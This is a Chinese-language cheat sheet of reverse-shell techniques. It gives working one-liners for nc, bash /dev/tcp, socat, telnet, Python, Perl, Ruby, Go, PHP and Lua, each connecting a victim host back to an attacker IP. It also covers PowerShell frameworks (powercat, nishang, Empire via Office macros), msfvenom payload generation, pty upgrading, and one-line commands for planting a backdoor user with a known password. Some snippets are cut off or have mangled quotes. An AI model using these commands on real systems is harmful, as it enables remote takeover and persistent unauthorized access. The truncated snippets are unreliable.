反弹shell方式总结
nc反弹
- 场景一 (正向连接)
viticm主机: nc开启本地监听, 并将本地的bash转发出去
1 | nc -lvvp 9999 -t -e /bin/bash |
attack主机: 远程连接 转发的shell
1 | nc viticm_ip 9999 |
- 场景二(反向连接)
viticm主机: 当 viticm主机由于防火墙或者其他一些原因, 导致端口访问被拦截
1 | nc 192.168.119.137 9999 -t -e /bin/bash |
attack主机: 监听本地端口 , 获取shell
1 | nc -lnvp 9999 |
bash直接反弹
bash一句话shell反弹:个人感觉最好用的用的方法就是使用的方法就是使用bash结合重定向方法的一句话,具体命令如下。
- bash反弹一句话
1 | bash -i >& /dev/tcp/192.168.119.137/9999 0>&1 |
或者
1 | /bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.119.137/9999 0>&1" |
- bash一句话命令详解
以下针对常用的bash反弹一句话进行了拆分说明,具体内容如下:
其实以上bash反弹一句完整的解读过程就是:
bash产生了一个交互环境与本地主机主动发起与目标主机8080端口建立的连接(即TCP 8080 会话连接)相结合,然后在重定向个tcp 8080会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境。
socat转发
Socat是Linux 下一个多功能的网络工具,名字来由是” Socket CAT”,因此可以看出它基于socket,能够折腾socket相关的无数事情 ,其功能与netcat类似,不过据说可以看做netcat的加强版,事实上的确也是如此,nc应急比较久没人维护了,确实显得有些陈旧了,我这里只简单的介绍下怎么使用它开启监听和反弹shell,其他详细内容可以参加见文末的参考学习。
1 | wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat |
socat下载链接:https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat
- attack机器上开启监听
1 | socat file:`tty`,raw,echo=0 tcp-listen:9999 |
- viticm机器反弹shell
1 | socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.119.137:9999 |
tlnet转发
- viticm机器执行下面的命令
1 | mknod a p; telnet 192.168.119.137 4444 0<a | /bin/bash 1>a |
- attack机器监听端口
1 | nc -lnvp 4444 |
以上反弹shell时, 可能出现 无命令头, 无法补全的问题
使用python的pty库进行解决
1
2
3
4
5
6
7 $ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
$ stty raw -echo
$ fg
$ reset
$ export SHELL=bash
//$ export TERM=xterm-256color
利用编程语言反弹shell
1. py反弹shell
1 | python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);" |
1 | # 拆成多行方便阅读 |
2. perl反弹shell
1 | perl -e 'use Socket;$i=”10.211.55.2";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
3. ruby反弹shell
1 | ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)’ |
4. go反弹shell
1 | echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go |
5. php反弹shell
1 | php –r 'exec("/bin/bash -i >& /dev/tcp/127.0.0.1/7777")’ |
6. lua反弹shell
1 | lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" |
7. java
1 | r = Runtime.getRuntime() |
8. gawk
1 | #!/usr/bin/gawk -f |
powershell反弹shell
powershell反弹shell本质上是一些多功能代码集合,通过调用windows提供的api接口实现网络通信和指令解析执行的功能。
1)powercat反弹shell
1 | # 攻击者(192.168.159.134)开启监听: |
2)nishang反弹shell
Nishang是一个基于PowerShell的攻击框架,集合了一些PowerShell攻击脚本和有效载荷,可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell。
Reverse TCP shell
1 | # 攻击者(192.168.159.134)开启监听: |
Reverse UDP shell
1 | # 攻击者(192.168.159.134)开启监听: |
Reverse ICMP shell
1 | # 首先攻击端下载icmpsh_m.py文件 |
3)自定义powershell函数反弹shell
利用powershell创建一个Net.Sockets.TCPClient对象,通过Socket反弹tcp shell。
1 | # 攻击者(192.168.159.134) 开启监听 |
4)Empire 结合office反弹shell
- 利用office宏反弹shell
- 利用office OLE对象插入bat文件反弹shell
Relevant Link:
1 | https://www.anquanke.com/post/id/99793 |
msfvenom 获取反弹一句话
学习过程中发现其实强大的MSF框架也为我们提供了生成一句话反弹shell的工具,即msfvenom。绝对的实用,当我们不记得前面说的所有反弹shell的反弹语句时,只要我们有Metasploit,随时我们都可以使用msfvenom -l 来查询生成我们所需要的各类命令行一句话,具体使用方法为各位看官老爷们收集如下。-
- 查询 payload 具体路径
我们直接可以使用 msfvenom -l 结合关键字过滤(如cmd/unix/reverse),找出我们需要的各类反弹一句话payload的路径信息。
1 | # msfvenom -l payloads 'cmd/unix/reverse' |
查看以上截图,我们可以看到msfvenom支持生成反弹shell一句话的类型非常丰富,这里几乎是应有尽有,大家可以依据渗透测试对象自行选择使用。
生成我们我们需要的命令行一句话
依照前面查找出的命令生成一句话payload路径,我们使用如下的命令生成反弹一句话,然后复制粘贴到靶机上运行即可。
bash 反弹一句话生成
1 | msfvenom -p cmd/unix/reverse_bash lhost=1.1.1.1 lport=12345 R |
阉割版nc反弹一句话生成
1 | msfvenom -p cmd/unix/reverse_netcat lhost=1.1.1.1 lport=12345 R |
获取python一句话
1 | msfvenom -p cmd/unix/reverse_python lhost=1.1.1.1 lport=12345 R |
参考链接
https://www.cnblogs.com/LittleHann/p/12038070.html
https://www.anquanke.com/post/id/87017
一句话添加账号
你不是不给我提供交互的界面吗,那我就是使用脚本式的方法,使用一句话完成账号密码的添加,有关一句话账号密码的添加,笔者收集了以下几种方式。
3.1.1 chpasswd 方法
(1)执行语句
1 | useradd newuser;echo "newuser:password"|chpasswd |
(2)操作实例
1 | root@ifly-21171:~# useradd guest;echo 'guest:123456'|chpasswd |
3.1.2 useradd -p 方法
(1) 执行语句
1 | useradd -p encrypted_password newuser |
(2) 操作实例
1 | root@ifly-21171:~# useradd -p `openssl passwd 123456` guest |
(3) 相同方法其他实现
相同方法不同实现一
1 | root@ifly-21171:~# useradd -p "$(openssl passwd 123456)" guest |
相同方法不同实现二
1 | user_password="`openssl passwd 123456`" |
3.1.3 echo -e 方法
(1)执行语句
1 | useradd newuwer;echo -e "123456n123456n" |passwd newuser |
(2) 操作实例
1 | root@ifly-21171:~# useradd test;echo -e "123456n123456n" |passwd test |